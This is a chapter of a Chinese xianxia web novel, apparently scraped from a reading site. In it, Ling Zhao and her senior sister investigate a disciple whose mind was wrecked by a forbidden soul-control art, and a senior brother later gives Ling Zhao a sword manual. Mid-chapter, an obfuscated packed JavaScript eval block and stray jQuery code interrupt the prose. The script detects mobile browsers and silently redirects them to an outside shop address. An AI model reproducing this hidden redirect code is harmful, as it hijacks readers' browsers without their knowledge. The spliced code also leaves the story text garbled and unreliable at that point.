20. 第二十章
作品:《顶着妹妹身份那些年》 凌昭传讯池寄瑶后就没有再动。
事情已然发生,贸然介入只会破坏现场,且增加自己的嫌疑。她甚至没有走近那张桌子,只是站在门边,目光快速扫过整个修炼室。
而那个洒扫弟子被定在门外,此时已经失去意识,瘫倒在地。
凌昭收回目光,安静地等。
约莫半盏茶的工夫,一道粉色身影疾掠而至。
池寄瑶落地的瞬间,目光先扫过凌昭,确认她没事后,才奔向修炼室里面。
凌昭跟在身后,只见池寄瑶在桌前站定,低头端详着玉匣,嘴角弯着一抹弧度,似笑不笑。
“师姐……”
凌昭话音未落,“咔嚓”一声,那玉匣已经在对方掌心碾为齑粉,簌簌洒在摊开的书籍上,她这才注意到,书页已经被灵火烧毁大半。
她语塞了一瞬,这是……明晃晃的挑衅吧?
池寄瑶轻叹一声,语气温柔地像在说今天天气真好,“可惜了,我正看到精彩的地方。”
只见她转身,眼角弯弯,唇角噙着笑意,说出来的话却带着冷意。
“师妹,那个凶手在哪?”
凌昭默默指了指门外。
所以池师姐刚才直冲冲赶来,压根没注意到院里还躺着个人?
她看着池寄瑶出门的背影,忽然想起妹妹说过的话“师姐生气的时候,其实有点一根筋。”
现在她信了。
池寄瑶蹲下身,指尖抵住那人眉心。片刻后,池寄瑶眉头微蹙,又探了片刻,才收回手。
“神识濒临崩溃,”池寄瑶斟酌着用词,“就算醒来,也是痴傻一生。”
神识崩溃?
凌昭心里一沉,皱眉思索时,池寄瑶忽然问:“曦儿,你可知道摄魂术?”
凌昭一怔。
摄魂术,上古禁术。所谓摄魂,便是强行控制他人神识,为己所用。因为太过阴毒,早就被修士联手封禁,传承断绝。
“可不是已经失传了吗?”她问。
池寄瑶收回手,站起身。
“是啊,失传了。”她声音很轻,“但这个弟子……”
她没有说完,但意思很明显了。
凌昭脑子飞速转着。摄魂术重现,意味着什么?意味着有人在暗中修炼禁术,而最恐怖的是,当你意识到时可能已经不止一个人了。
“师姐,”她忽然开口,“这洒扫弟子是什么时候入玉衡峰的?”
“每一批洒扫弟子,都有专门的服饰”,池寄瑶皱眉观察片刻,“看服饰应该是四个月前那一批。”
四个月前。
凌昭算着时间,那时候,她还没入宗,妹妹还没出事。也就是说,这个人很可能早就在玉衡峰了——或者说,早就被安插在玉衡峰了。
“能查到是谁调他来的吗?”
池寄瑶摇头:“外门调派,经手的人太多。真要查,一时半会儿查不出什么。”
她顿了顿,轻叹:“不过,对方敢用摄魂术,敢毁母蛊,想必已经做好了万全的准备。就算查到他怎么来的,估计也是条死路。”
凌昭沉默思索。
“师姐,”凌昭压低声音,“你说……这件事和魔族有关吗?”
她甚至有一瞬间觉得,出手之人和伤害妹妹的是同一个。
池寄瑶摇头,“我也在想这种可能。但是……”
她转过身看着凌昭,“宗门阵法常年开启,魔族想要潜入,几乎不可能,除非……”
说着说着,她自己都愣了一瞬,没有说出那句话。
除非有人勾结魔族。
两人对视一眼,都从对方眼中看到了同样的想法。
这一念头一旦冒出来,就再也压不下去。
就在这时,门外传来一阵脚步声。
云华快步走进来,碧色衣袍上还带着夜间凉意,显然是一收到消息就赶来了。
“如何?”
池寄瑶简单将情况说了一遍。云华听完,神色凝重。沉默片刻,她走到那小弟子面前,亲自探了一遍。
然后她直起身,看向池寄瑶和凌昭。
“这件事,从现在开始,不能声张。”她的语气不容置疑,“蛊虫丢失、摄魂术现世,任何一件传出去,都会引起轩然大波。更何况……”
她顿了顿,目光望向远处,群山静默,夜色下只见隐约轮廓,像潜伏的巨兽。
“若真如你们所料,宗门内有人勾结魔族,那打草惊蛇只会让对方藏得更深。”
池寄瑶点头,看向地上躺着的人,“母蛊确实被毁,那……”
云华沉吟片刻,叹息一声,“送去执事峰水牢。对外就说……毁坏母蛊,按门规处置。”
她顿了顿,又补充道:“至于其他的,我会和宗主说。事关重大,我们几位峰主会彻查的。”
凌昭垂眸没有说话,心里忽然浮起一个念头。
可如果查到最后,发现那人就在高层呢?如果那人就是宗主、峰主。
她不仅仅是在猜测毁坏母蛊的凶手,还在猜测让妹妹重伤的凶手。
“行了,这件事有我们呢,”云华拍了拍凌昭的肩,“曦儿先回去吧。我听宗主说,明日无极峰有大比。”
忽然被拍,凌昭回过神来:“师尊,不知是什么大比?”
“应该是为了剑心试炼塔名额。”池寄瑶接话,“我记得每次开塔,无极峰内外门都要争夺一番。”
“曦儿虽是挂名弟子,但有亲传身份在,自然是有名额的,”云华顿了顿,“不过你既然学了剑,去观摩观摩自然是好的。”
“对啊!”池寄瑶忽然搂上凌昭,满脸笑意,“医剑双修很是罕见呢,小曦儿改日可得让师姐我欣赏欣赏你的剑术啊!”
凌昭被她搂得身子一僵,谦虚地说:“师姐说笑了,我才学了七天。”
“我可听说了啊,钱长老都夸出花来了。”池寄瑶没忍住捏捏她的脸,“行了行了,快回去吧。”
凌昭知晓他们是不想自己掺和进此事,但别无他法。
她只能点点头,转身离开。
走出院门的瞬间,她脚步顿了顿,回头看了一眼。
云华和池寄瑶还站在修炼室门口,低声说着什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232836|196664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。夜色里,看不清她们的神情。
凌昭眼睛微眨,收回目光,迈步离开。
.
凌昭寝殿并不算远,如今凌昭御剑来往,不过一会儿。
她刚刚落下,就撞上熟悉的眼眸。
凌昭觉得这一幕似曾相识,北山霁为什么又在寝殿前等她啊?
这个念头在脑子里转了一圈,她面上却已经挂上了得体的笑,走上前去:“师兄怎么又来了?”
“又”字咬得轻巧,北山霁看了她一眼,没接这话茬,只是从袖中取出一本书册,递到她面前。
“这个给你。”
凌昭接过,低头一看,封面上写着四个字:《回风剑谱》。
她微微一怔,翻开书页。只看了前三式,她眼睛就亮了,上乘剑招。
这剑谱和她前几日在藏书阁翻过的那些完全不同。藏书阁的剑谱大多是入门级的基础剑式,或是一些中规中矩的宗门套路。
而这本剑招灵动,一招一式可谓浑然天成。
“这是……”她抬头看向北山霁。
“我练过的,”北山霁抿了下唇解释,“觉得适合你。”
凌昭不得不承认,确实合适,而且她很喜欢。她翻过藏书阁所有的剑谱,没有一本让她心动。但这本,她一眼就知道是好东西。
“师兄,这剑谱……”她再三思量后问出来,“不是藏书阁的?”
“不是。”北山霁答得干脆。
凌昭还等着他的后话。
但他没有。
他只是看着她,那双眼睛澄澈如浅潭,但凌昭对上的瞬间,却觉着幽深如深渊。
“你可以安心练。”他说。
凌昭沉默一瞬,心里盘算着不过一本剑谱而已。虽说无功不受禄,大不了回归散修后,遂了他的意,和他痛快打一场。
她很快说服了自己,嘴角真切上扬,“那就多谢师兄了。”
北山霁“嗯”了一声,话锋一转,“还有一事。”
“师兄您说。”凌昭心情好,快速回了一句。
北山霁看了她一眼,似乎在斟酌措辞。
“明日是无极峰大比,只比剑术不分境界,主要是为了分配剑心试炼塔的名额,今年多了条规矩。”他顿了顿,“内外门弟子可挑战亲传,打赢者可直接获得名额。”
凌昭微微一怔,很快反应过来。
试练塔名额有限,除去亲传,剩下几个名额要在一群弟子中抉择出。这条规矩,就是抛出了一条捷径,她想说还挺人性化?
“所以?”她问。
“所以你会被挑战。”北山霁说得直接,“你虽是挂名,但也算亲传。明日定然有人挑你。”
凌昭眨了眨眼,暗暗吐槽:她收回刚刚的话。
但凌昭也能理解,她在那些人眼里只是个刚入剑道的“新人”,简直就是一条通天路摆在他们面前。
换成凌昭,她也会去挑战。
“师兄这是来提醒我小心?”凌昭弯了弯嘴角,故意道。
北山霁看着她,没有否认。
“不必藏拙。”

